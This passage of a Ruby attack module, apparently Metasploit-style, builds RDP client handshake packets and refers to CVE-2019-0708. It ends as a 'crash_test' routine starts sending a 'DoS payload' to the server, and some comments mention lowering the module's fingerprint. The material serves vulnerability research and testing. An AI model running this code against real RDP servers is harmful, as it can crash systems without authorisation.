requestedProtocols\n    )\n  end\n\n  # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/db6713ee-1c0e-4064-a3b3-0fac30b4037b\n  def pdu_connect_initial(selected_proto = RDPConstants::PROTOCOL_RDP, host_name = \"rdesktop\", channels_defs = DEFAULT_CHANNELS_DEFS)\n    ## After negotiating TLS or NLA the connectInitial packet needs to include the\n    ## protocol selection that the server indicated in its negotiation response.\n\n    ## TODO: If this is pulled into an RDP library then the channel list likely\n    ## needs to be build dynamically. For example, MS_T120 likely should only\n    ## ever be sent as part of checks for CVE-2019-0708.\n\n    ## build clientName - 12.2.1.3.2 Client Core Data (TS_UD_CS_CORE)\n    ## 15 characters + null terminator, converted to unicode\n    ## fixed length - 32 characters total\n    name_unicode = Rex::Text.to_unicode(host_name[0..14], type = 'utf-16le')\n    name_unicode += \"\\x00\" * (32 - name_unicode.length)\n\n    pdu = \"\\x7f\\x65\" +                                                         # T.125 Connect-Initial    (BER: Application 101)\n    \"\\x82\\x01\\xb2\" +                                                           # Length                   (BER: Length)\n    \"\\x04\\x01\\x01\" +                                                           # CallingDomainSelector: 1 (BER: OctetString)\n    \"\\x04\\x01\\x01\" +                                                           # CalledDomainSelector: 1  (BER: OctetString)\n    \"\\x01\\x01\\xff\" +                                                           # UpwaredFlag: True        (BER: boolean)\n\n    ## Connect-Initial: Target Parameters\n    \"\\x30\\x19\" +                                                               # TargetParamenters        (BER: SequenceOf)\n    ## *** not sure why the BER encoded Integers below have 2 byte values instead of one ***\n    \"\\x02\\x01\\x22\\x02\\x01\\x02\\x02\\x01\\x00\\x02\\x01\\x01\\x02\\x01\\x00\\x02\\x01\\x01\\x02\\x02\\xff\\xff\\x02\\x01\\x02\" +\n\n    ## Connect-Intial: Minimum Parameters\n    \"\\x30\\x19\" +                                                               # MinimumParameters        (BER: SequencOf)\n    \"\\x02\\x01\\x01\\x02\\x01\\x01\\x02\\x01\\x01\\x02\\x01\\x01\\x02\\x01\\x00\\x02\\x01\\x01\\x02\\x02\\x04\\x20\\x02\\x01\\x02\" +\n\n    ## Connect-Initial: Maximum Parameters\n    \"\\x30\\x1c\" +                                                               # MaximumParameters        (BER: SequencOf)\n    \"\\x02\\x02\\xff\\xff\\x02\\x02\\xfc\\x17\\x02\\x02\\xff\\xff\\x02\\x01\\x01\\x02\\x01\\x00\\x02\\x01\\x01\\x02\\x02\\xff\\xff\\x02\\x01\\x02\" +\n\n    ## Connect-Initial: UserData\n    \"\\x04\\x82\\x01\\x51\" +                                                       # UserData, length 337     (BER: OctetString)\n\n    ## T.124 GCC Connection Data (ConnectData) - PER Encoding used\n    \"\\x00\\x05\" +                                                               # object length\n    \"\\x00\\x14\\x7c\\x00\\x01\" +                                                   # object: OID 0.0.20.124.0.1 = Generic Conference Control\n    \"\\x81\\x48\" +                                                               # Length: ??? (Connect PDU)\n    \"\\x00\\x08\\x00\\x10\\x00\\x01\\xc0\\x00\" +                                       # T.124 Connect PDU, Conference name 1\n    \"\\x44\\x75\\x63\\x61\" +                                                       # h221NonStandard: 'Duca' (client-to-server H.221 key)\n    \"\\x81\\x3a\" +                                                               # Length: ??? (T.124 UserData section)\n\n    ## Client MCS Section - 2.2.1.3\n    \"\\x01\\xc0\" +                                                               # clientCoreData (TS_UD_CS_CORE) header - 2.2.1.3.2\n    \"\\xea\\x00\" +                                                               # Length: 234 (includes header)\n    \"\\x0a\\x00\\x08\\x00\" +                                                       # version: 8.1 (RDP 5.0 -> 8.1)\n    \"\\x80\\x07\" +                                                               # desktopWidth: 1920\n    \"\\x38\\x04\" +                                                               # desktopHeigth: 1080\n    \"\\x01\\xca\" +                                                               # colorDepth: 8 bpp\n    \"\\x03\\xaa\" +                                                               # SASSequence: 43523\n    \"\\x09\\x04\\x00\\x00\" +                                                       # keyboardLayout: 1033 (English US)\n    \"\\xee\\x42\\x00\\x00\" +                                                       # clientBuild: ????\n    [name_unicode].pack(\"a*\") +                                                # clientName\n    \"\\x04\\x00\\x00\\x00\" +                                                       # keyboardType: 4 (IBMEnhanced 101 or 102)\n    \"\\x00\\x00\\x00\\x00\" +                                                       # keyboadSubtype: 0\n    \"\\x0c\\x00\\x00\\x00\" +                                                       # keyboardFunctionKey: 12\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +       # imeFileName (64 bytes)\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\n    \"\\x01\\xca\" +                                                               # postBeta2ColorDepth: 8 bpp\n    \"\\x01\\x00\" +                                                               # clientProductID: 1\n    \"\\x00\\x00\\x00\\x00\" +                                                       # serialNumber: 0\n    \"\\x18\\x00\" +                                                               # highColorDepth: 24 bpp\n    \"\\x0f\\x00\" +                                                               # supportedColorDepths: flag (24 bpp | 16 bpp | 15 bpp)\n    \"\\xaf\\x07\" +                                                               # earlyCapabilityFlags\n    \"\\x62\\x00\\x63\\x00\\x37\\x00\\x38\\x00\\x65\\x00\\x66\\x00\\x36\\x00\\x33\\x00\" +       # clientDigProductID (64 bytes)\n    \"\\x2d\\x00\\x39\\x00\\x64\\x00\\x33\\x00\\x33\\x00\\x2d\\x00\\x34\\x00\\x31\\x00\" +\n    \"\\x39\\x38\\x00\\x38\\x00\\x2d\\x00\\x39\\x00\\x32\\x00\\x63\\x00\\x66\\x00\\x2d\" +\n    \"\\x00\\x00\\x31\\x00\\x62\\x00\\x32\\x00\\x64\\x00\\x61\\x00\\x42\\x42\\x42\\x42\" +\n    \"\\x07\" +                                                                   # connectionType: 7\n    \"\\x00\" +                                                                   # pad1octet\n    \n    ## serverSelectedProtocol - After negotiating TLS or CredSSP this value\n    ## must match the selectedProtocol value from the server's Negotiate\n    ## Connection confirm PDU that was sent before encryption was started.\n    [selected_proto].pack('L<') +                                              # \"\\x01\\x00\\x00\\x00\"\n    \n    \"\\x56\\x02\\x00\\x00\" +\n    \"\\x50\\x01\\x00\\x00\" +\n    \"\\x00\\x00\" +\n    \"\\x64\\x00\\x00\\x00\" +\n    \"\\x64\\x00\\x00\\x00\" +\n\n    \"\\x04\\xc0\" +                                                               # clientClusterdata (TS_UD_CS_CLUSTER) header - 2.2.1.3.5\n    \"\\x0c\\x00\" +                                                               # Length: 12 (includes header)\n    \"\\x15\\x00\\x00\\x00\" +                                                       # flags (REDIRECTION_SUPPORTED | REDIRECTION_VERSION3)\n    \"\\x00\\x00\\x00\\x00\" +                                                       # RedirectedSessionID\n    \"\\x02\\xc0\" +                                                               # clientSecuritydata (TS_UD_CS_SEC) header - 2.2.1.3.3\n    \"\\x0c\\x00\" +                                                               # Length: 12 (includes header)\n    \"\\x1b\\x00\\x00\\x00\" +                                                       # encryptionMethods: 3 (40 bit | 128 bit)\n    \"\\x00\\x00\\x00\\x00\" +                                                       # extEncryptionMethods (French locale only)\n    \"\\x03\\xc0\" +                                                               # clientNetworkData (TS_UD_CS_NET) - 2.2.1.3.4\n    \"\\x38\\x00\" +                                                               # Length: 56 (includes header)\n    channels_defs\n\n    ## Fix. for packet modification.\n    ## T.125 Connect-Initial\n    size_1 = [pdu.length - 5].pack(\"s\")                                        # Length (BER: Length)\n    pdu[3] = size_1[1]\n    pdu[4] = size_1[0]\n\n    ## Connect-Initial: UserData\n    size_2 = [pdu.length - 102].pack(\"s\")                                      # UserData, length (BER: OctetString)\n    pdu[100] = size_2[1]\n    pdu[101] = size_2[0]\n\n    ## T.124 GCC Connection Data (ConnectData) - PER Encoding used\n    size_3 = [pdu.length - 111].pack(\"s\")                                      # Length (Connect PDU)\n    pdu[109] = \"\\x81\"\n    pdu[110] = size_3[0]\n\n    size_4 = [pdu.length - 125].pack(\"s\")                                      # Length (T.124 UserData section)\n    pdu[123] = \"\\x81\"\n    pdu[124] = size_4[0]\n\n    ## Client MCS Section - 2.2.1.3\n    size_5 = [pdu.length - 383].pack(\"s\")                                      # Length (includes header)\n    pdu[385] = size_5[0]\n\n    rdp_build_data_tpdu(pdu)\n  end\n\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/9cde84cd-5055-475a-ac8b-704db419b66f\n  ## Client Security Exchange PDU - 2.2.1.10\n  def pdu_security_exchange(rcran, rsexp, rsmod, bitlen)\n    encrypted_rcran_bignum = rsa_encrypt(rcran, rsexp, rsmod)\n    encrypted_rcran = int_to_bytestring(encrypted_rcran_bignum)\n\n    bitlen += 8                                                                # Pad with size of TS_SECURITY_PACKET header\n\n    userdata_length = 8 + bitlen\n    userdata_length_low = userdata_length & 0xFF\n    userdata_length_high = userdata_length / 256\n    flags = 0x80 | userdata_length_high\n\n    pdu = \"\\x64\" +                                                             # T.125 sendDataRequest\n    \"\\x00\\x08\" +                                                               # intiator userId\n    \"\\x03\\xeb\" +                                                               # channelId = 1003\n    \"\\x70\" +                                                                   # dataPriority = high, segmentation = begin | end\n    [flags].pack(\"C\") +\n    [userdata_length_low].pack(\"C\") +                                          # UserData length\n    \n    # TS_SECURITY_PACKET - 2.2.1.10.1\n    \"\\x01\\x00\" +                                                               # securityHeader flags\n    \"\\x00\\x00\" +                                                               # securityHeader flagsHi\n    [bitlen].pack(\"L<\") +                                                      # TS_ length\n    encrypted_rcran +                                                          # encryptedClientRandom - 64 bytes\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"                                         # 8 bytes rear padding (always present)\n\n    return(rdp_build_data_tpdu(pdu))\n  end\n\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/04c60697-0d9a-4afd-a0cd-2cc133151a9c\n  ## Client MCS Erect Domain Request PDU - 2.2.1.5\n  def pdu_erect_domain_request()\n    pdu = \"\\x04\" +                                                             # T.125 ErectDomainRequest\n    \"\\x01\\x00\" +                                                               # subHeight   - length 1, value 0\n    \"\\x01\\x00\"                                                                 # subInterval - length 1, value 0\n\n    return(rdp_build_data_tpdu(pdu))\n  end\n\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/f5d6a541-9b36-4100-b78f-18710f39f247\\\n  ## Client MCS Attach User Request PDU - 2.2.1.6\n  def pdu_attach_user_request()\n    pdu = \"\\x28\"                                                               # T.125 AttachUserRequest\n\n    return(rdp_build_data_tpdu(pdu))\n  end\n\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/64564639-3b2d-4d2c-ae77-1105b4cc011b\n  ## Client MCS Channel Join Request PDU -2.2.1.8\n  def pdu_channel_request(user1, channel_id)\n    pdu = \"\\x38\" + [user1, channel_id].pack(\"nn\")                              # T.125 ChannelJoinRequest\n\n    return(rdp_build_data_tpdu(pdu))\n  end\n\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/772d618e-b7d6-4cd0-b735-fa08af558f9d\n  ## TS_INFO_PACKET - 2.2.1.11.1.1\n  def pdu_client_info(user_name, domain_name = \"\", ip_address = \"\")\n    ## Max. len for 4.0/6.0 servers is 44 bytes including terminator.\n    ## Max. len for all other versions is 512 including terminator.\n    ## We're going to limit to 44 (21 chars + null -> unicode) here.\n    \n    ## Blank username is valid, nil = random.\n    user_name = Rex::Text.rand_text_alpha(10) if user_name.nil?\n    user_unicode = Rex::Text.to_unicode(user_name[0..20],  type = 'utf-16le')\n    uname_len = user_unicode.length\n\n    ## Domain can can be, and for rdesktop typically is, empty.\n    ## Max. len for 4.0/5.0 servers is 52 including terminator.\n    ## Max. len for all other versions is 512 including terminator.\n    ## We're going to limit to 52 (25 chars + null -> unicode) here.\n    domain_unicode = Rex::Text.to_unicode(domain_name[0..24], type = 'utf-16le')\n    domain_len = domain_unicode.length\n\n    ## This address value is primarily used to reduce the fields by which this\n    ## module can be fingerprinted. It doesn't show up in Windows logs.\n    ## clientAddress + null terminator\n    ip_unicode = Rex::Text.to_unicode(ip_address, type = 'utf-16le') + \"\\x00\\x00\"\n    ip_len = ip_unicode.length\n    \n    pdu = \"\\xa1\\xa5\\x09\\x04\" +\n    \"\\x09\\x04\\xbb\\x47\" +                                                       # CodePage\n    \"\\x03\\x00\\x00\\x00\" +                                                       # flags - INFO_MOUSE, INFO_DISABLECTRLALTDEL, INFO_UNICODE, INFO_MAXIMIZESHELL, INFO_ENABLEWINDOWSKEY\n    [domain_len].pack(\"S<\") +                                                  # cbDomain (length value) - EXCLUDES null terminator\n    [uname_len].pack(\"S<\") +                                                   # cbUserName (length value) - EXCLUDES null terminator\n    \"\\x00\\x00\" +                                                               # cbPassword (length value)\n    \"\\x00\\x00\" +                                                               # cbAlternateShell (length value)\n    \"\\x00\\x00\" +                                                               # cbWorkingDir (length value)\n    [domain_unicode].pack(\"a*\") +                                              # Domain\n    \"\\x00\\x00\" +                                                               # Domain null terminator, EXCLUDED from value of cbDomain\n    [user_unicode].pack(\"a*\") +                                                # UserName\n    \"\\x00\\x00\" +                                                               # UserName null terminator, EXCLUDED FROM value of cbUserName\n    \"\\x00\\x00\" +                                                               # Password - empty\n    \"\\x00\\x00\" +                                                               # AlternateShell - empty\n\n    ## TS_EXTENDED_INFO_PACKET - 2.2.1.11.1.1.1\n    \"\\x02\\x00\" +                                                               # clientAddressFamily - AF_INET - FIXFIX - detect and set dynamically\n    [ip_len].pack(\"S<\") +                                                      # cbClientAddress (length value) - INCLUDES terminator ... for reasons.\n    [ip_unicode].pack(\"a*\") +                                                  # clientAddress (unicode + null terminator (unicode)\n\n    \"\\x3c\\x00\" +                                                               # cbClientDir (length value): 60\n    \"\\x43\\x00\\x3a\\x00\\x5c\\x00\\x57\\x00\\x49\\x00\\x4e\\x00\\x4e\\x00\\x54\\x00\" +       # clientDir - 'C:\\WINNT\\System32\\mstscax.dll' + null terminator\n    \"\\x5c\\x00\\x53\\x00\\x79\\x00\\x73\\x00\\x74\\x00\\x65\\x00\\x6d\\x00\\x33\\x00\" +\n    \"\\x32\\x00\\x5c\\x00\\x6d\\x00\\x73\\x00\\x74\\x00\\x73\\x00\\x63\\x00\\x61\\x00\" +\n    \"\\x78\\x00\\x2e\\x00\\x64\\x00\\x6c\\x00\\x6c\\x00\\x00\\x00\" +\n    \n    ## clientTimeZone - TS_TIME_ZONE struct - 172 bytes\n    ## These are the default values for rdesktop\n    \"\\xa4\\x01\\x00\\x00\" +                                                       # Bias\n\n    ## StandardName - 'GTB,normaltid'\n    \"\\x4d\\x00\\x6f\\x00\\x75\\x00\\x6e\\x00\\x74\\x00\\x61\\x00\\x69\\x00\\x6e\\x00\" +\n    \"\\x20\\x00\\x53\\x00\\x74\\x00\\x61\\x00\\x6e\\x00\\x64\\x00\\x61\\x00\\x72\\x00\" +\n    \"\\x64\\x00\\x20\\x00\\x54\\x00\\x69\\x00\\x6d\\x00\\x65\\x00\\x00\\x00\\x00\\x00\" +\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\n    \"\\x00\\x00\\x0b\\x00\\x00\\x00\\x01\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +       # StandardDate\n    \"\\x00\\x00\\x00\\x00\" +                                                       # StandardBias\n\n    ## DaylightName - 'GTB,sommartid'\n    \"\\x4d\\x00\\x6f\\x00\\x75\\x00\\x6e\\x00\\x74\\x00\\x61\\x00\\x69\\x00\\x6e\\x00\" +\n    \"\\x20\\x00\\x44\\x00\\x61\\x00\\x79\\x00\\x6c\\x00\\x69\\x00\\x67\\x00\\x68\\x00\" +\n    \"\\x74\\x00\\x20\\x00\\x54\\x00\\x69\\x00\\x6d\\x00\\x65\\x00\\x00\\x00\\x00\\x00\" +\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\n    \"\\x00\\x00\\x03\\x00\\x00\\x00\\x02\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +       # DaylightDate\n    \"\\xc4\\xff\\xff\\xff\" +                                                       # DaylightBias\n\n    \"\\x01\\x00\\x00\\x00\" +                                                       # clientSessionId\n    \"\\x06\\x00\\x00\\x00\" +                                                       # performanceFlags\n    \"\\x00\\x00\" +                                                               # cbAutoReconnectCookie\n    \"\\x64\\x00\\x00\\x00\"\n\n    return(pdu)\n  end\n\n  # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4e9722c3-ad83-43f5-af5a-529f73d88b48\n  # Confirm Active PDU Data - TS_CONFIRM_ACTIVE_PDU - 2.2.1.13.2.1\n  def pdu_client_confirm_active()\n    pdu  = \"\\xea\\x03\\x01\\x00\" +                                                # shareId: 66538\n    \"\\xea\\x03\" +                                                               # originatorId\n    \"\\x06\\x00\" +                                                               # lengthSourceDescriptor: 6\n    \"\\x3e\\x02\" +                                                               # lengthCombinedCapabilities: ???\n    \"\\x4d\\x53\\x54\\x53\\x43\\x00\" +                                               # SourceDescriptor: 'MSTSC'\n    \"\\x17\\x00\" +                                                               # numberCapabilities: 23\n    \"\\x00\\x00\" +                                                               # pad2Octets\n    \"\\x01\\x00\" +                                                               # capabilitySetType: 1 - TS_GENERAL_CAPABILITYSET\n    \"\\x18\\x00\" +                                                               # lengthCapability: 24\n    \"\\x01\\x00\\x03\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x1d\\x04\\x00\\x00\\x00\\x00\" +\n    \"\\x00\\x00\\x00\\x00\" +\n    \"\\x02\\x00\" +                                                               # capabilitySetType: 2 - TS_BITMAP_CAPABILITYSET\n    \"\\x1c\\x00\" +                                                               # lengthCapability: 28\n    \"\\x20\\x00\\x01\\x00\\x01\\x00\\x01\\x00\\x80\\x07\\x38\\x04\\x00\\x00\\x01\\x00\" +\n    \"\\x01\\x00\\x00\\x1a\\x01\\x00\\x00\\x00\" +\n    \"\\x03\\x00\" +                                                               # capabilitySetType: 3 - TS_ORDER_CAPABILITYSET\n    \"\\x58\\x00\" +                                                               # lengthCapability: 88\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\n    \"\\x00\\x00\\x00\\x00\\x01\\x00\\x14\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xaa\\x00\" +\n    \"\\x01\\x01\\x01\\x01\\x01\\x00\\x00\\x01\\x01\\x01\\x00\\x01\\x00\\x00\\x00\\x01\" +\n    \"\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x00\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\" +\n    \"\\xa1\\x06\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x84\\x03\\x00\\x00\\x00\\x00\\x00\" +\n    \"\\xe4\\x04\\x00\\x00\\x13\\x00\\x28\\x00\\x03\\x00\\x00\\x03\\x78\\x00\\x00\\x00\" +\n    \"\\x78\\x00\\x00\\x00\\xfc\\x09\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\n    \"\\x0a\\x00\" +                                                               # capabilitySetType: 10 - ??\n    \"\\x08\\x00\" +                                                               # lengthCapability: 8\n    \"\\x06\\x00\\x00\\x00\" +\n    \"\\x07\\x00\" +                                                               # capabilitySetType: 7  - TSWINDOWACTIVATION_CAPABILITYSET\n    \"\\x0c\\x00\" +                                                               # lengthCapability: 12\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\n    \"\\x05\\x00\" +                                                               # capabilitySetType: 5  - TS_CONTROL_CAPABILITYSET\n    \"\\x0c\\x00\" +                                                               # lengthCapability: 12\n    \"\\x00\\x00\\x00\\x00\\x02\\x00\\x02\\x00\" +\n    \"\\x08\\x00\" +                                                               # capabilitySetType: 8  - TS_POINTER_CAPABILITYSET\n    \"\\x0a\\x00\" +                                                               # lengthCapability: 10\n    \"\\x01\\x00\\x14\\x00\\x15\\x00\" +\n    \"\\x09\\x00\" +                                                               # capabilitySetType: 9  - TS_SHARE_CAPABILITYSET\n    \"\\x08\\x00\" +                                                               # lengthCapability: 8\n    \"\\x00\\x00\\x00\\x00\" +\n    \"\\x0d\\x00\" +                                                               # capabilitySetType: 13 - TS_INPUT_CAPABILITYSET\n    \"\\x58\\x00\" +                                                               # lengthCapability: 88\n    \"\\x91\\x00\\x20\\x00\\x09\\x04\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\n    \"\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\n    \"\\x00\\x00\\x00\\x00\" +\n    \"\\x0c\\x00\" +                                                               # capabilitySetType: 12 - TS_SOUND_CAPABILITYSET\n    \"\\x08\\x00\" +                                                               # lengthCapability: 8\n    \"\\x01\\x00\\x00\\x00\" +\n    \"\\x0e\\x00\" +                                                               # capabilitySetType: 14 - TS_FONT_CAPABILITYSET\n    \"\\x08\\x00\" +                                                               # lengthCapability: 8\n    \"\\x01\\x00\\x00\\x00\" +\n    \"\\x10\\x00\" +                                                               # capabilitySetType: 16 - TS_GLYPHCAChE_CAPABILITYSET\n    \"\\x34\\x00\" +                                                               # lengthCapability: 52\n    \"\\xfe\\x00\\x04\\x00\\xfe\\x00\\x04\\x00\\xfe\\x00\\x08\\x00\\xfe\\x00\\x08\\x00\" +\n    \"\\xfe\\x00\\x10\\x00\\xfe\\x00\\x20\\x00\\xfe\\x00\\x40\\x00\\xfe\\x00\\x80\\x00\" +\n    \"\\xfe\\x00\\x00\\x01\\x40\\x00\\x00\\x08\\x00\\x01\\x00\\x01\\x03\\x00\\x00\\x00\" +\n    \"\\x0f\\x00\" +                                                               # capabilitySetType: 15 - TS_BRUSH_CAPABILITYSET\n    \"\\x08\\x00\" +                                                               # lengthCapability: 8\n    \"\\x01\\x00\\x00\\x00\" +\n    \"\\x11\\x00\" +                                                               # capabilitySetType: ??\n    \"\\x0c\\x00\" +                                                               # lengthCapability: 12\n    \"\\x01\\x00\\x00\\x00\\x00\\x28\\x64\\x00\" +\n    \"\\x14\\x00\" +                                                               # capabilitySetType: ??\n    \"\\x0c\\x00\" +                                                               # lengthCapability: 12\n    \"\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\n    \"\\x15\\x00\" +                                                               # capabilitySetType: ??\n    \"\\x0c\\x00\" +                                                               # lengthCapability: 12\n    \"\\x02\\x00\\x00\\x00\\x00\\x0a\\x00\\x01\" +\n    \"\\x1a\\x00\" +                                                               # capabilitySetType: ??\n    \"\\x08\\x00\" +                                                               # lengthCapability: 8\n    \"\\xaf\\x94\\x00\\x00\" +\n    \"\\x1c\\x00\" +                                                               # capabilitySetType: ??\n    \"\\x0c\\x00\" +                                                               # lengthCapability: 12\n    \"\\x12\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\n    \"\\x1b\\x00\" +                                                               # capabilitySetType: ??\n    \"\\x06\\x00\" +                                                               # lengthCapability: 6\n    \"\\x01\\x00\" +\n    \"\\x1e\\x00\" +                                                               # capabilitySetType: ??\n    \"\\x08\\x00\" +                                                               # lengthCapability: 8\n    \"\\x01\\x00\\x00\\x00\" +\n    \"\\x18\\x00\" +                                                               # capabilitySetType: ??\n    \"\\x0b\\x00\" +                                                               # lengthCapability: 11\n    \"\\x02\\x00\\x00\\x00\\x03\\x0c\\x00\" +\n    \"\\x1d\\x00\" +                                                               # capabilitySetType: ??\n    \"\\x5f\\x00\" +                                                               # lengthCapability: 95\n    \"\\x02\\xb9\\x1b\\x8d\\xca\\x0f\\x00\\x4f\\x15\\x58\\x9f\\xae\\x2d\\x1a\\x87\\xe2\" +\n    \"\\xd6\\x01\\x03\\x00\\x01\\x01\\x03\\xd4\\xcc\\x44\\x27\\x8a\\x9d\\x74\\x4e\\x80\" +\n    \"\\x3c\\x0e\\xcb\\xee\\xa1\\x9c\\x54\\x05\\x31\\x00\\x31\\x00\\x00\\x00\\x01\\x00\" +\n    \"\\x00\\x00\\x25\\x00\\x00\\x00\\xc0\\xcb\\x08\\x00\\x00\\x00\\x01\\x00\\xc1\\xcb\" +\n    \"\\x1d\\x00\\x00\\x00\\x01\\xc0\\xcf\\x02\\x00\\x08\\x00\\x00\\x01\\x40\\x00\\x02\" +\n    \"\\x01\\x01\\x01\\x00\\x01\\x40\\x00\\x02\\x01\\x01\\x04\"\n\n    ## type = 0x13 = TS_PROTOCOL_VERSION | PDUTYPE_CONFIRMACTIVEPDU\n    return(rdp_build_share_control_header(0x13, pdu))\n  end\n\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/5186005a-36f5-4f5d-8c06-968f28e2d992\n  ## Client Synchronize - TS_SYNCHRONIZE_PDU - 2.2.1.19 /  2.2.14.1\n  def pdu_client_synchronize(target_user = 0)    \n    pdu = \"\\x01\\x00\" +                                                         # messageType: 1 SYNCMSGTYPE_SYNC\n    [target_user].pack(\"S<\")                                                   # targetUser, 16 bit, unsigned.\n\n    ## pduType2 = 0x1f = 31 - PDUTYPE2_SCYNCHRONIZE\n    data_header = rdp_build_share_data_header(0x1f, pdu)\n\n    ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU\n    return(rdp_build_share_control_header(0x17, data_header))\n  end\n\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/9d1e1e21-d8b4-4bfd-9caf-4b72ee91a7135\n  ## Control Cooperate - TC_CONTROL_PDU 2.2.1.15\n  def pdu_client_control_cooperate()\n    pdu = \"\\x04\\x00\" +                                                         # action: 4 - CTRLACTION_COOPERATE\n    \"\\x00\\x00\" +                                                               # grantId: 0\n    \"\\x00\\x00\\x00\\x00\"                                                         # controlId: 0\n\n    ## pduType2 = 0x14 = 20 - PDUTYPE2_CONTROL\n    data_header = rdp_build_share_data_header(0x14, pdu)\n\n    ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU\n    return(rdp_build_share_control_header(0x17, data_header))\n  end\n\n\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4f94e123-970b-4242-8cf6-39820d8e3d35\n  ## Control Request - TC_CONTROL_PDU 2.2.1.16\n  def pdu_client_control_request()\n\n    pdu = \"\\x01\\x00\" +                                                         # action: 1 - CTRLACTION_REQUEST_CONTROL\n    \"\\x00\\x00\" +                                                               # grantId: 0\n    \"\\x00\\x00\\x00\\x00\"                                                         # controlId: 0\n\n    ## pduType2 = 0x14 = 20 - PDUTYPE2_CONTROL\n    data_header = rdp_build_share_data_header(0x14, pdu)\n\n    ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU\n    return(rdp_build_share_control_header(0x17, data_header))\n  end\n\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/ff7f06f8-0dcf-4c8d-be1f-596ae60c4396\n  ## Client Input Event Data - TS_INPUT_PDU_DATA - 2.2.8.1.1.3.1\n  def pdu_client_input_event_sychronize()\n    pdu = \"\\x01\\x00\" +                                                         # numEvents: 1\n    \"\\x00\\x00\" +                                                               # pad2Octets\n    \"\\x00\\x00\\x00\\x00\" +                                                       # eventTime\n    \"\\x00\\x00\" +                                                               # messageType: 0 - INPUT_EVENT_SYNC\n  \n    ## TS_SYNC_EVENT 202.8.1.1.3.1.1.5\n    \"\\x00\\x00\" +                                                               # pad2Octets\n    \"\\x00\\x00\\x00\\x00\"                                                         # toggleFlags\n\n    ## pduType2 = 0x1c = 28 - PDUTYPE2_INPUT\n    data_header = rdp_build_share_data_header(0x1c, pdu)\n\n    ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU\n    return(rdp_build_share_control_header(0x17, data_header))\n  end\n\n  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/7067da0d-e318-4464-88e8-b11509cf0bd9\n  ## Client Font List - TS_FONT_LIST_PDU - 2.2.1.18\n  def pdu_client_font_list()\n    pdu = \"\\x00\\x00\" +                                                         # numberFonts: 0\n    \"\\x00\\x00\" +                                                               # totalNumberFonts: 0\n    \"\\x03\\x00\" +                                                               # listFlags: 3 (FONTLIST_FIRST | FONTLIST_LAST)\n    \"\\x32\\x00\"                                                                 # entrySize: 50\n\n    ## pduType2 = 0x27 = 29 - PDUTYPE2_FONTLIST\n    data_header = rdp_build_share_data_header(0x27, pdu)\n\n    ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU\n    return(rdp_build_share_control_header(0x17, data_header))\n  end\n\n  # ------------------------------------------------------------------------- #\n\n  def crash_test(rc4enckey, hmackey)\n    begin\n      received = \"\"\n      for i in 0..5\n        received += rdp_recv()\n      end\n    rescue RdpCommunicationError\n      # we don't care\n    end\n\n    vprint_status(\"Sending DoS payload\")\n    found = false\n    for j in 0..15\n      ## x86_payload:\n      